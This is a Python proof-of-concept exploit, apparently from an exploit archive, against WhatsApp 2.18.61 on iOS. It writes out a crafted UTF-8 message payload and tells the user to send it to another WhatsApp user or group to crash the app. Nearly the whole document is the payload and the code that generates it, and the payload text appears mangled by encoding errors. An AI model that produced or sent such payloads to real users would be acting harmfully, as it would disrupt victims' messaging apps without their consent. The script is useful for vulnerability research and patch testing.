WhatsApp 2.18.61 Memory Corruption

`#!/usr/bin/env python  
# -*- coding: utf-8 -*-  
# Exploit Author: Juan Sacco <[email protected]> at Exploit Pack-  
http://www.exploitpack.com  
# This vulnerability has been discovered and exploited using  
ExploitPack - Framework  
#  
# Tested on: iPhone 5/6s/X iOS 10 and 11.4.1 ( Latest release of iOS  
at the date of writing this )  
#  
# Description:  
# WhatsApp 2.18.61 and prior are affected. The application fails to  
properly filter user-supplied UTF-8 chars and cannot process rapid  
memory allocs/deallocs in iOS devices  
# thus for it becomes prone to a remote memory corruption  
vulnerability by using an specially crafted message.  
#  
# Impact:  
# Resource exhaustion attacks exploit a design flaw. An attacker could  
exploit this vulnerability to remotely corrupt the memory of the  
target and forcing an uhandled exception  
# in the context of the application that could potentially result in a  
denial-of-service condition and/or remote memory corruption.  
#  
# Debug:  
# B04500954836","name":"WhatsApp"}  
# Date/Time: 2018-04-06 18:15:30.608135 +0200  
# OS Version: iPhone OS 11.4.1 (Build 15E302)  
# Architecture: arm64  
# Command: WhatsApp  
# ExceptionType: EXC_CRASH  
#  
# How to use this exploit:  
# Send the payload as a message to another Whatsapp user or group,  
trough a phone orw hatsapp-web.  
#  
# WARNING!  
# Because this is a especially crafted message, if WhatsApp crashes it  
doesn't means that the message it's not stored on the phone you need  
to remove it/archive it before open  
# the conversation again or it will be triggered back.  
#  
# Timeline:  
# Date and time of release: 27 August 2018  
# Reported to Apple: ???  
# Reported to Facebook/Whatsapp: ???  
  
import sys  
reload(sys)  
  
def whatsapp(filename):  
sys.setdefaultencoding("utf-8")  
payload1 = u'a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a! a!!a!C/a!PSa!$?a!Y=a!|a!SSa!"a!(c)a!aa!<<a!!a!a!(r)a!-a!dega!+-a!2a!3a!'a!ua!Pa!*a!,a!1a!oa!>>a!1/4a!1/2a!3/4a!?aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa a!aC/aPSa$?aY=a|aSSa"a(c)aaa<<a!aa(r)a-adega+-a2a3a'auaPa*a,a1aoa>>a1/4a1/2a3/4a?a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r) a(r)!a(r)C/a(r)PSa(r)$?a(r)Y=a(r)|a(r)SSa(r)"a(r)(c)a(r)aa(r)<<a(r)!a(r)a(r)(r)a(r)-a(r)dega(r)+-a(r)2a(r)3a(r)'a(r)ua(r)Pa(r)*a(r),a(r)1a(r)oa(r)>>a(r)1/4a(r)1/2a(r)3/4a(r)?a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a- a-!a-C/a-PSa-$?a-Y=a-|a-SSa-"a-(c)a-aa-<<a-!a-a-(r)a--a-dega-+-a-2a-3a-'a-ua-Pa-*a-,a-1a-oa->>a-1/4a-1/2a-3/4a-?adegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadeg adeg!adegC/adegPSadeg$?adegY=adeg|adegSSadeg"adeg(c)aa$?aaY=aa|aaSSaa"aa(c)aaaaa<<aa!aaaa(r)aa-aadegaa+-aa2aa3aa'aauaaPaa*aa,aa1aaoaa>>aa1/4aa1/2aa3/4aa?a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<< a<<!a<<C/a<<PSa<<$?a<<Y=a<<|a<<SSa<<"a<<(c)a<<aa<<<<a<<!a<<a<<(r)a<<-a<<dega<<+-a<<2a<<3a<<'a<<ua<<Pa<<*a<<,a<<1a<<oa<<>>a<<1/4a<<1/2a<<3/4a<<?a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a! 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a!!a!C/a!PSa!$?a!Y=a!|a!SSa!"a!(c)a!aa!<<a!!a!a!(r)a!-a!dega!+-a!2a!3a!'a!ua!Pa!*a!,a!1a!oa!>>a!1/4a!1/2a!3/4a!?aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa a!aC/aPSa$?aY=a|aSSa"a(c)aaa<<a!aa(r)a-adega+-a2a3a'auaPa*a,a1aoa>>a1/4a1/2a3/4a?a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r) a(r)!a(r)C/a(r)PSa(r)$?a(r)Y=a(r)|a(r)SSa(r)"a(r)(c)a(r)aa(r)<<a(r)!a(r)a(r)(r)a(r)-a(r)dega(r)+-a(r)2a(r)3a(r)'a(r)ua(r)Pa(r)*a(r),a(r)1a(r)oa(r)>>a(r)1/4a(r)1/2a(r)3/4a(r)?a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a- a-!a-C/a-PSa-$?a-Y=a-|a-SSa-"a-(c)a-aa-<<a-!a-a-(r)a--a-dega-+-a-2a-3a-'a-ua-Pa-*a-,a-1a-oa->>a-1/4a-1/2a-3/4a-?adegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadeg adeg!adegC/adegPSadeg$?adegY=adeg|adegSSadeg"adeg(c)aa$?aaY=aa|aaSSaa"aa(c)aaaaa<<aa!aaaa(r)aa-aadegaa+-aa2aa3aa'aauaaPaa*aa,aa1aaoaa>>aa1/4aa1/2aa3/4aa?a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<< a<<!a<<C/a<<PSa<<$?a<<Y=a<<|a<<SSa<<"a<<(c)a<<aa<<<<a<<!a<<a<<(r)a<<-a<<dega<<+-a<<2a<<3a<<'a<<ua<<Pa<<*a<<,a<<1a<<oa<<>>a<<1/4a<<1/2a<<3/4a<<?a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a! a!!a!C/a!PSa!$?a!Y=a!|a!SSa!"a!(c)a!aa!<<a!!a!a!(r)a!-a!dega!+-a!2a!3a!'a!ua!Pa!*a!,a!1a!oa!>>a!1/4a!1/2a!3/4a!?aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa a!aC/aPSa$?aY=a|aSSa"a(c)aaa<<a!aa(r)a-adega+-a2a3a'auaPa*a,a1aoa>>a1/4a1/2a3/4a?a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r) a(r)!a(r)C/a(r)PSa(r)$?a(r)Y=a(r)|a(r)SSa(r)"a(r)(c)a(r)aa(r)<<a(r)!a(r)a(r)(r)a(r)-a(r)dega(r)+-a(r)2a(r)3a(r)'a(r)ua(r)Pa(r)*a(r),a(r)1a(r)oa(r)>>a(r)1/4a(r)1/2a(r)3/4a(r)?a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a- a-!a-C/a-PSa-$?a-Y=a-|a-SSa-"a-(c)a-aa-<<a-!a-a-(r)a--a-dega-+-a-2a-3a-'a-ua-Pa-*a-,a-1a-oa->>a-1/4a-1/2a-3/4a-?adegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadeg adeg!adegC/adegPSadeg$?adegY=adeg|adegSSadeg"adeg(c)aa$?aaY=aa|aaSSaa"aa(c)aaaaa<<aa!aaaa(r)aa-aadegaa+-aa2aa3aa'aauaaPaa*aa,aa1aaoaa>>aa1/4aa1/2aa3/4aa?a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<< a<<!a<<C/a<<PSa<<$?a<<Y=a<<|a<<SSa<<"a<<(c)a<<aa<<<<a<<!a<<a<<(r)a<<-a<<dega<<+-a<<2a<<3a<<'a<<ua<<Pa<<*a<<,a<<1a<<oa<<>>a<<1/4a<<1/2a<<3/4a<<?a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a! a!!a!C/a!PSa!$?a!Y=a!|a!SSa!"a!(c)a!aa!<<a!!a!a!(r)a!-a!dega!+-a!2a!3a!'a!ua!Pa!*a!,a!1a!oa!>>a!1/4a!1/2a!3/4a!?aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa a!aC/aPSa$?aY=a|aSSa"a(c)aaa<<a!aa(r)a-adega+-a2a3a'auaPa*a,a1aoa>>a1/4a1/2a3/4a?a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r) a(r)!a(r)C/a(r)PSa(r)$?a(r)Y=a(r)|a(r)SSa(r)"a(r)(c)a(r)aa(r)<<a(r)!a(r)a(r)(r)a(r)-a(r)dega(r)+-a(r)2a(r)3a(r)'a(r)ua(r)Pa(r)*a(r),a(r)1a(r)oa(r)>>a(r)1/4a(r)1/2a(r)3/4a(r)?a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a- a-!a-C/a-PSa-$?a-Y=a-|a-SSa-"a-(c)a-aa-<<a-!a-a-(r)a--a-dega-+-a-2a-3a-'a-ua-Pa-*a-,a-1a-oa->>a-1/4a-1/2a-3/4a-?adegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadeg adeg!adegC/adegPSadeg$?adegY=adeg|adegSSadeg"adeg(c)'  
payload2 =  
u'aa(r)a-adega+-a2a3a'auaPa*a,a1aoa>>a1/4a1/2a3/4a?aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa a!aC/aPSa$?aY=a|aSSa"a(c)aaa<<a!aa(r)a-adega+-a2a3a'auaPa*a,a1aoa>>a1/4a1/2a3/4a?'  
sutf8 = payload1.encode('UTF-8')  
sutf8 = payload2.encode('UTF-8')  
finalPoC = payload1 + "\n" + payload2  
print "[*] Writing to file: " + filename  
open(filename, 'w').write(finalPoC)  
print "[*] Done."  
  
def howtouse():  
print "Usage: whatsapp.py [FILENAME]"  
print "[*] Mandatory arguments:"  
print "[-] FILENAME"  
sys.exit(-1)  
  
if __name__ == "__main__":  
try:  
print "[*] WhatsApp 2.18.61 iOS - Remote memory corruption"  
print "[*] Author: [email protected] - http://exploitpack.com"  
print "[*] How to use: Copy the content of the file and send  
it as a message to another whatsapp user or group"  
whatsapp(sys.argv[1])  
except IndexError:  
howtouse()  
`